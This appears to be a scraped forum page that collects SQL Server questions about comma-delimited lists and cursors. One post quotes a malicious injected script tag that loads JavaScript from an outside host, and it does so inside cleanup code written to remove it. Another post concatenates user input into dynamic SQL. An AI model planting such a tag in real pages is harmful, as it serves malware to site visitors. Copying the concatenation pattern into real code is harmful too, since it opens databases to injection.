SQL7 SP3
Hi.
I have a table in which I want to create a delimited list of values from one field which I will be using for validation.
How can I do this without using a cursor to build the string. The SQL would be something like:
SELECT *
FROM myCrossRefTable
WHERE SourceTable = 'FieldValueList'
I'm looking to return on string like -
~value1~value2~value3~value4~value5
Thanks,
Craig
Hi,
I have a complex query where each row in the final dataset is a
product.
However each product has a number of authors associated with it.
What I
would like to do is have a query/subroutine join the authors to the
product,
as a string:
ProductID
Title
Authors
1 The Sacred and the Profane John Rieggle, George
Alexi
2 Dancing
in the Dark Dan
Brown, Peter Kay, Paul
Dwebinski
Products
Table
==============
ProductID
Title
Authors
Table
=============
AuthorID
Name
Product Authors
Table
=====================
AuthorID
ProductID
Is this at all
possible?
Thanks
jr.
Hi,
I have 2 Tables
Table 1, Row 1
1. Id = 1
2. GraphPoints = 023, 045, 078 (text - data type)
I need to move data to Table 2.
Table 2 should have
1st row
1. Id = 1
2. GraphPoint = 023 (float data type)
2nd row
1. Id = 1
2. GraphPoint = 045 (float data type)
and so on
How do I do that?
Thanks.
As part of xml parsing, I use multicast to direct output of nodes to their corresponding relational tables and I do have a comma-delimited list for some nodes which basically needs to be converted into rows as illustrated below
ID Products
--------------------------------------------------------------------------
1 12, 45
2 10, 20
and I would like to have results as
ID Products
--------------------------------------------------------------------------
1 12
1 45
2 10
2 20
I would appreciate if someone could offer me some guidance here.
I want to allow visitors to filter a list of events to show only those belonging to categories selected from a checklist.
Here is an approach I am trying:
TABLE Events(EventID int, Categories varchar(200))
EventID Catetories
--------------------------
1 ‘6,8,9’
2 ‘2,3’
PROCEDURE ListFilteredEvents
@FilterList varchar(200) -- contains ‘3,5’
AS
SELECT EventID FROM Events
WHERE (any value in Categories) IN @FilterList
Result:
EventID
----------
2
How can I select all records where any value in the Categories column
matches a value in @FilterList. In this example, record 2 would be
selected since it belongs to category 3, which is also in @FilterList.
I’ve looked at the table of numbers approach, which works when
selecting records where a column value is in the parameter list, but I
can’t see how to make this work when the column itself also contains a
comma delimited list.
Can someone suggest an approach?
Any examples would be greatly appreciated!
Gary
Is it possible to get a comma delimited list of the views in a DB?
View 7 Replies View RelatedHow can I get a comma delimited list of the views in my db?
("view1","view2","view3",etc...)
Hi,
I have the following query:
SELECT *
FROM News INNER JOIN
Newsletters ON News.ID = Newsletters.fkNewsID
My problem is that fkNewsID can contain a comma delimited list of various IDs. Is there a way to properly do the join in this case?
Hello any MS SQL experts out there! please help if you can. i'm trying to run a subquery
within a query to keep myself from having to loop over the original query on display and
then run additional queries to get the further info. here's the setup. i have two tables:
persons table
column: name (varchar)
column: vehicleids (varchar)
vehicles table
column: id (int pk)
column: vehiclename (varchar)
- The persons table is a list of peoples' names and what kind of vehicle/s they own.
- The persons.vehicleids field is a comma-delimited list of one or more integers which correspond to the vehicles.id field.
- The vehicles table contains a list of vehicles like car, bicycle, motorcycle, etc, distinguished by the vehicles.id field.
The result i want returned by the query is:
NAME - VEHICLES
Joe Somebody - car,bicycle
Sheila Johnson - van,pogostick,motorcycle
John Nobody - skateboard,car
The query i'm trying to run to get this result is:
Code Snippet
SELECT pe.name,
(
SELECT ve.vehiclename
FROM vehicles ve
WHERE CAST(ve.id AS VARCHAR) IN (pe.vehicleids)
) AS vehicles
FROM persons pe
ORDER BY pe.name
It returns the persons names in the first column, but only returns vehicle names in the
second column when there's a single id in the persons.vehicleids field. if there's more
than one integer in the field, it returns an empty string.
Can anyone tell me what I'm doing wrong? I do have the option of table restructuring if
its necessary, but I'm not looking for a stored procedure solution or a temp table
solution. Any takers? I would be in the kharmic debt of anyone providing a workable
avenue.
Thank you,
Tyler
SELECT FriendName from Friends where RegionId = 23
I would like to create a comma delimited list of 'FriendName' column values in above query (example - Mike,John,Lisa,Emburey).
How would I do that?
Have 2 tables in SQL Server 05 DB:
First one is MyList
user_id -> unique value
list -> comma-delimited list of user_ids
notes -> random varchar data
Second one is MyProfile
user_id -> unique value
name
address
email
phone
I need a stored proc to return rows from MyProfile that match the comma-delimited contents in the "list" column of MyList, based on the user_id matched in MyList. The stored proc should receive as input a @user_id for MyList then return all this data.
The format of the comma-delimited data is as such (all values are 10-digit alphanumerics):
d25ef46bp3,s46ji25tn9,p53fy76nc9
The data returned should be all the columns of MyProfile, and the columns of MyList (which will obviously be duplicated for each row returned).
Thank you!
Trying to run a simple query below
Update CustomerID
set CustomerLevelID='5'
where CustomerID='97000,57700,560046,462334,454453,522444,539743'
When I try this I get
Conversion failed when converting the varchar value
Is it possible to use comma delimited values in a where command?
I am trying to pass a comma delimited llist of names to a stored procedure. I am getting a syntax error and I can't seem to figure out why. When i plug the names by hand into my select statement in query analyzer it all works fine.
Just a little background so i don't have to put all the code in... the list of name is built dynamically.
Below are all the code snippets. Thanks for your help in advance.
The is the list of names and the call to the stored procedure:
Code:
employeeList = 'name1','name2',name3','name4','name5'
SQL="sp_REVIEW @ACTION='lde', @CURRENT_USER='" & currentUser & "', " &_
"@EMPLOYEE_LIST='" & employeeList & "'"
Here is the stored procedure
Code:
SELECT ww.ORACLE_USER_NAME, ww.LAST_NAME + ', ' + ww.FIRST_NAME as employeeName,
ww1.DIVISION + ' - ' + ww1.COST_CENTER + ' - ' + ww1.COST_CENTER_DESC as department
FROM WHOS_WHO.dbo.HR_PEOPLE_V ww
LEFT JOIN WHOS_WHO.dbo.HR_DEPARTMENTS_V ww1 ON ww.DEPARTMENT_ID = ww1.ORG_ID
WHERE ww.SEARCHABLE = 1 AND ww.ORACLE_USER_NAME IS NOT NULL AND ww.PERSON_TYPE = 'Employee'
AND (ww.ORACLE_USER_NAME IN (@EMPLOYEE_LIST)
OR ww.DEPARTMENT_ID IN (SELECT ud.department_id
FROM USER_DEPARTMENT ud
WHERE ud.nt_id = @CURRENT_USER))
ORDER BY ww.LAST_NAME, ww.FIRST_NAME
I have a stored procedure that I want to use to update multiple records. I'm using ASP and the request form collection is returning values in a comma delimited list.
Example:
name1 = value1, value2, value3, etc.
name2 = value1, value2, value3, etc.
name3 = value1, value2, value3, etc.
Here is how I wrote my stored procedure:
CREATE PROCEDURE dbo.Sp_Update_ABR_Record
(
@abrID int,
@ddo varchar(50),
@ay varchar(50),
@strategy varchar(10),
@budgacct varchar(10),
@budgobj varchar(10),
@origamt
varchar(50),
@incrdecr varchar(50),
@review char(10),
@abrdetlsID varchar(50)
)
AS
UPDATE DIM_ABR_REQ_HDR
SET ABR_review = @review
WHERE ABR_ID = @abrID
UPDATE DIM_ABR_REQ_DETLS
SET ABR_DETLS_DDO = @ddo, ABR_DETLS_AY = @ay,
ABR_DETLS_STRATEGY = @strategy, ABR_DETLS_BUDG_ACCT = @budgacct,
ABR_DETLS_BUDG_OBJ = @budgobj, ABR_DETLS_FUND_ORIG_AMT = convert(money, @origamt), ABR_DETLS_FUND_INCR_DECR = convert(money, @incrdecr)
WHERE
ABR_DETLS_ID = @abrdetlsID
GO
The second update is where the comma delimited list needs to be handled. The first update is only updating one field once.
Is there a way to write the procedure to handle the comma delimited list? Or, is the way I have the stored procedure okay and I just need to handle the comma delimited list within the ASP code? I'm not sure which way I can accomplish this?
Thanks for any help.
-D-
Hi, all:I have a form which lets users choose more than one value for each question.But how do I insert each value as a separate row in my table (instead ofhaving the values submitted as a comma-delimited list)?Thanks for your help.J
View 2 Replies View RelatedHello all,
I am trying customize the CSV rendering extension with different device information settings. I would loke to change the CSV extension to a Tab delimited output. However, whenever I add a new extension line to the RSReportServer.config file I run into problems.
1. What is the correct character to use in the delimiter to specify a Tab character? I seem to be unable to get this correct
2. Why when I override the name in the rendering extension does it still show up as the CSV (comma delimited) name in the export dropdown.
Here is my customized rendering extension.
<Extension Name="TXT" Type="Microsoft.ReportingServices.Rendering.CsvRenderer.CsvReport,Microsoft.ReportingServices.CsvRendering">
<OverrideNames>
<Name>TXT (Tab Delimited Text File)></Name>
</OverrideNames>
<Configuration>
<DeviceInfo>
<Encoding>ASCII</Encoding>
<FieldDelimiter><![CDATA[#x9]]></FieldDelimiter>
<NoHeader>true</NoHeader>
</DeviceInfo>
</Configuration>
</Extension>
Thanks
Justin
Hi All
This is my first official post...very exciting:)
OK....
I need to split a string, based on comma delimetrs, into columns of a table.
I am using SQL Server 2005.
The plan is to use webmethods (Integration Software) to receive a flat file, loop through the records in that flat file and during each iteration of the loop call a SQL stored procedure that will split the record, based on comma delimetrs, into columns of a table.
A typical record will look like this:
AP05-07,ACTUAL,ZA01,......
I have looked at some of the past solutions to this type of post, but am battling to understand....
So if its possible, is there a simple way to create a stored procedure that will do this?
Many thanks
I have list (in an input file) where each row is about 20K in size (so it can't be stored in a sql table). I want to convert the list into a table as shown below:
before:
---------------
pk1, c1, d1, c2, d2, c3, d3,......
pk2 c1,d1,c2,d2,c3,d3.....
where "pk" denotes a primary key and in a given row (c1,c2.c3,...) are all distinct. ("c" are columns names, "d" is the associated data)
after: (desired conversion)
---------------
pk1,c1,d1
pk1,c2,d2
pk1,c3,d3
...
pk2,c1,d1
pk2,c2,d2
pk2,c3,d3
....
I was planning to have SSIS pull in the "before" data, run a custom C# program in SSIS against it to massage the data to vertical (3-column format), then export the massaged data to a new text file. The new text file would later be imported into a sql table using SSIS.
I have a need to create a delimited string so that I can use this to create a data driven subscription on SSRS.
In the below code, I need to create a delimited string using the branch number, grouped by the email address
USE tempdb
GO
IF OBJECT_ID('tempdb..#emails') IS NOT NULL
BEGIN
DROP TABLE #emails
[code]....
How do I do this?
I cannot find any facility like there is a Access for getting external data.
I need some help with a stored procedure to insert multiple rows into a join table from a checkboxlist on a form. The database structure has 3 tables - Products, Files, and ProductFiles(join). From a asp.net formview users are able to upload files to the server. The formview has a products checkboxlist where the user selects all products a file they are uploading applies too. I parse the selected values of the checkboxlist into a comma delimited list that is then passed with other parameters to the stored proc. If only one value is selected in the checkboxlist then the spproc executed correctly. Also, if i run sql profiler i can confirm that the that asp.net is passing the correct information to the sproc:
exec proc_Add_Product_Files @FileName = N'This is just a test.doc', @FileDescription = N'test', @FileSize = 24064, @LanguageID = NULL, @DocumentCategoryID = 1, @ComplianceID = NULL, @SubmittedBy = N'Kevin McPhail', @SubmittedDate = 'Jan 18 2006 12:00:00:000AM', @ProductID = N'10,11,8'
Here is the stored proc it is based on an article posted in another newsgroup on handling lists in a stored proc. Obviously there was something in the article i did not understand correctly or the author left something out that most people probably already know (I am fairly new to stored procs)
CREATE PROCEDURE proc_Add_Product_Files_v2/*Declare variables for the stored procedure. ProductID is a varchar because it will receive a comma,delimited list of values from the webform and then insert a rowinto productfiles for each product that the file being uploaded pertains to. */@FileName varchar(150),@FileDescription varchar(150),@FileSize int,@LanguageID int,@DocumentCategoryID int,@ComplianceID int,@SubmittedBy varchar(50),@SubmittedDate datetime,@ProductID varchar(150)
ASBEGIN
DECLARE @FileID INT
SET NOCOUNT ON
/*Insert into the files table and retrieve the primary key of the new record using @@identity*/ INSERT INTO Files (FileName, FileDescription, FileSize, LanguageID, DocumentCategoryID, ComplianceID, SubmittedBy, SubmittedDate) Values (@FileName, @FileDescription, @FileSize, @LanguageID, @DocumentCategoryID, @ComplianceID, @SubmittedBy, @SubmittedDate)
Select @FileID=@@Identity
/*Uses dynamic sql to insert the comma delimited list of productids into the productfiles table.*/ DECLARE @ProductFilesInsert varchar(2000)
SET @ProductFilesInsert = 'INSERT INTO ProductFiles (FileID, ProductID) SELECT ' + CONVERT(varchar,@FileID) + ', Product1ID FROM Products WHERE Product1ID IN (' + @ProductID + ')' exec(@ProductFilesInsert) EndGO
Using the code below, my cursor processes the last record twice. I know it has to be something simple but I haven't been able to find it yet.
Please help.
select top 10 clientkey, max(id) As enrollmentkey
into #temptable1
from clientenrollment
group by clientkey
Declare Test_Cursor
Cursor for
select clientkey, enrollmentkey
from #temptable1
Open Test_Cursor
Declare @clientkey Char(10)
Declare @enrollmentkey Char(10)
FETCH NEXT FROM Test_Cursor
into @clientkey, @enrollmentkey
print @clientkey + ' ' + @enrollmentkey
WHILE @@FETCH_STATUS = 0
BEGIN
FETCH NEXT FROM Test_Cursor
into @clientkey, @enrollmentkey
print @clientkey + ' ' +@enrollmentkey
END
CLOSE Test_Cursor
DEALLOCATE Test_Cursor
In MSDN file I read about static cursor
STATIC
Defines a cursor that makes a temporary copy of the data to be used by the cursor. All requests to the cursor are answered from this temporary table in
tempdb; therefore, modifications made to base tables are not reflected in the data returned by fetches made to this cursor, and this cursor does not allow modifications
It say's that modifications is not allowed in the static cursor. I have a questions regarding that
Static Cursor
declare ll cursor global static
for select name, salary from ag
open ll
fetch from ll
while @@FETCH_STATUS=0
fetch from ll
update ag set salary=200 where 1=1
close ll
deallocate ll
In "AG" table, "SALARY" was 100 for all the entries. When I run the Cursor, it showed the salary value as "100" correctly.After the cursor was closed, I run the query select * from AG.But the result had updated to salary 200 as given in the cursor. file says modifications is not allowed in the static cursor.But I am able to update the data using static cursor.
I'd like to ask how you would get the OUTPUT below from the TABLE below:
TABLE:
id category
1 A
2 C
3 A
4 A
5 B
6 C
7 B
OUTPUT:
category count id's
A 3 1,3,4
B 2 5,7
C 2 2,6
The code would go something like:
Select category, count(*), .... as id's
from TABLE
group by category
I just need to find that .... part.
Is it possible to create a cursor out of the results of a stored procedure.
OR
Is it possible to get just one value.
EXEC sp_columns @table_name = 'tablename', @column_name='columnname'
--I want the type_name value
So I've created a bit of code to remove some virus garbage that's been plaguing some of my clients, but it seems since I've tried using a cursor to streamline the process a bit it's just filling in the fields with nulls.
Code:
use db7021
go
select * from products
go
declare @desc varchar(max)
declare @virus varchar(128)
set @virus = '<script src="http://b.njnk.net/E/J.JS"></script>'
declare @start int
declare @end int
declare thecursor CURSOR LOCAL SCROLL_LOCKS
for select cdescription from products
where cdescription like ('%' + @virus + '%')
for update of cdescription
open thecursor
fetch next from thecursor into @desc
while @@FETCH_STATUS = 0
begin
print @desc
set @start = charindex(@virus, @desc)
set @end = @start + len(@virus)
print cast(@start as char) + ', ' + cast(@end as char)
set @desc = left(@desc, @start - 1) + right(@desc, len(@desc)-@end+1)
update products
set cdescription = @desc
where current of thecursor
fetch next from thecursor into @desc
end
close thecursor
deallocate thecursor
select * from products
go
Which produces the output:
Code:
id cname cdescription
----------- ----------- ----------------------------------------------------------------------------------------
1 banana sometext 0.962398 <script src="http://b.njnk.net/E/J.JS"></script>
2 apple sometext 1.9248 <script src="http://b.njnk.net/E/J.JS"></script>
3 lolcat sometext 2.88719 <script src="http://b.njnk.net/E/J.JS"></script>
4 cheezburgr sometext 3.84959 <script src="http://b.njnk.net/E/J.JS"></script>
(4 row(s) affected)
sometext 0.962398 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89
(1 row(s) affected)
sometext 1.9248 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89
(1 row(s) affected)
sometext 2.88719 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89
(1 row(s) affected)
sometext 3.84959 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89
(1 row(s) affected)
id cname cdescription
----------- ------------ ------------
1 banana NULL
2 apple NULL
3 lolcat NULL
4 cheezburgr NULL
(4 row(s) affected)
I trimmed out alot of whitespace from the results for the sake of readability, but aside from that this is everything I've got. I know the string functions work since I tested them on their own, but since I've combined them with the cursor they've started producing NULLs.
Maybe I've missed something in the syntax for cursors?
Hi guys!i want to create one cursor in the t-sql. the problem is i want to usestored procedure instead of select command in cursor.can anyone tell me how can i use stored procedure's o/p to createcursor?i'm using sql 2000 and .net 2.0thanks,Lucky
View 12 Replies View RelatedI appear to be having an issue where the @LetterVal and @Numeric variables aren't resetting for each loop iteration, so if no results are found, it just returns the previous loops values since they aren't overwritten. Below is the stored procedure I've created:
ALTER PROCEDURE [dbo].[ap_CalcGrade]
-- Add the parameters for the stored procedure here
@studId int,
@secId int,
@grdTyCd char(2),
@grdCdOcc int,
@Numeric int output,
[Code] ....
And below is the "test query" I'm using:
-- *** Test Program ***
Declare @LetterVal varchar(2), -- Letter Grade
@Numeric int, -- Numeric Grade
@Result int -- Procedure Status (0 = OK)
Execute @Result = dbo.ap_CalcGrade 102, 86, 'QZ', 3,
[Code] ....
This is resulting in an output of:
A+ 97
A+ 97
C- 72
but it should be returning the output below due to the 2nd data set not being valid/found in the sp query:
A+ 97
No Find
C- 72
I'm sure this is sloppy and not the most efficient way of doing this, so whats causing the errant results, and if there is any better way I should be writing it. Below is the assignment requirements:
Create a stored procedure using the STUDENT database called ap_CalcGrade that does the following:
1. Accepts as input STUDENT_ID, SECTION_ID, GRADE_TYPE_CODE, and GRADE_CODE_OCCURRENCE
2. Outputs the numeric grade and the letter grade back to the user
3. If the numeric grade is found, return 0, otherwise return 1
4. You must use a cursor to loop through the GRADE_CONVERSION table to find the letter grade
I need help displaying information in a list on my report...
My dataset table extracts the fields, username and created date and my list is grouped by creator which puts each users info on its own page. My problem is that I cant figure out how to extract the following values:
The average number of items created per day/month/quarter/etc... (Most Important)
A sublist which displays the user's created count as follows: (Would be very greatful)
Code Snippet
Sample:
Created | Count | Percent
0-25 | 10 | 10%
26-75 | 50 | 50%
75+ | 40 | 40%
(I have figured out how to create these lists in the past using the grouping function on values, but becuase they would be counts instead of values I dont know how.)
Any tips or information would be helpful.
Thanks In Advance
Geoff
How can I create a master list of a particular column, in other words is there a SELECT query I can do that would bring back one of every type of? here's an example: calls table -- bring back one of every kind of call_descr thx for any help.
View 1 Replies View RelatedI realize this gets into business logic, but a DB based solution might be best. Possibly some pre-calculated measurement tables.
Business problem: Creating a cut list for a window covering (blinds) system. It's preferably a fast calculation I could execute while the user awaits "order confirmation and pricing". A .5 second delay per order would be acceptable.
An order can have unlimited number of line items, but typically between 1 and 20 (number of windows in a single house).
(For this problem) the raw material is man-made, and therefore is always the same length for a particular pattern/color (take 12' for this example; we stock patterns in 9', 12', or 16' but it's always the same for a given pattern/color). I need to tell the cutters how to use the rawmaterial with minimal waste. Note: The saw blade takes 1/16th inch.
For each line item; I have pre-calculated the exact cut size and number of slats. Measurements are in inches at 1/8 (.125) inch increments. The length of raw material length we stock for this pattern is an easy link.
The goal is to average less than 6 inches waste per 12' piece of raw material.
Example order:
5 line items for pattern/color FAUX/white, stocked in 12' lengths.
Line 1: 34 slats at 35.125 inches.
Line 2: 36 slats at 36.875 inches.
Line 3: 50 slats at 42 inches.
Line 4: 55 slats at 70 inches.
Line 5: 52 slats at 30 inches.
The resulting cut-list-workorder would evaluate all lines together and tell them how many 12' slats to pull and how to cut them with minimal material waste.
My question:
I'm left wondering if a database style pre-populated answer list (or some other database based solution) might be a lot faster and simpler than some chess-style complex trial-and-error array based VB algorythm (that I haven't even begun to imagine how to write). If so; how would it look?
In addition; the cutters get something like $10/hr so we can't make it too complex. I'd rather waste a little material and avoid undue confusion, but not much. With $5+ million in this material per year, excess waste can really add up. Imagine the difference between 12% and 15% waste. It's an area worth investing in.
Sorry; I know it's not a simple question. Someone might find it interesting enough to solve, or at least provide hope for a DB solution. At present; I just can't imagine it.
I have the following tables in an SQL Server database.
Contact
=======
NameID
TitleID
Name
JobTitle
========
TitleID
Title
I'm trying to make a form to add entries to the Contact table that lets me associate a job title to a name by choosing it from a drop down list. I have been able to make it so I get a drop down list of TitleID but I need the Title field displayed. I haven't been able to do it. Does anyone have any tips on how to do this?
I posted this originally in the incorrect forum I believe so I am reposting this in here which I believe is the proper place.
I need to move essentially a flat file from one server to another one and export it into a database on the second server. Does anyone have an easy process to accomplish this? I am currently at a loss. Any advice would be much appreciated.
Thanks